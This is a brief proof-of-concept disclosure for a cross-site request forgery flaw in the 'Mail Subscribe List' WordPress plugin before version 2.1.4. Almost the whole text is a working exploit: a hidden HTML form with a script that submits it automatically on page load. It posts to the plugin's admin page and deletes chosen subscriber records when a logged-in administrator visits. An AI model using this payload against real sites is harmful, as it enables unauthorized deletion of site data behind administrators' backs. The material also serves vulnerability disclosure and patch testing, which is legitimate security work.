Mail Subscribe List < 2.1.4 - Arbitrary Subscribed User Deletion via CSRF

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin.php?page=mail-subscribe-list/index.php" method="POST">
    <input type="text" name="sml_remove" value="1">
    <input type="text" name="rem[]" value="1">
    <input type="text" name="rem[]" value="4">
</form>
<script>
    document.getElementById("test").submit();
</script>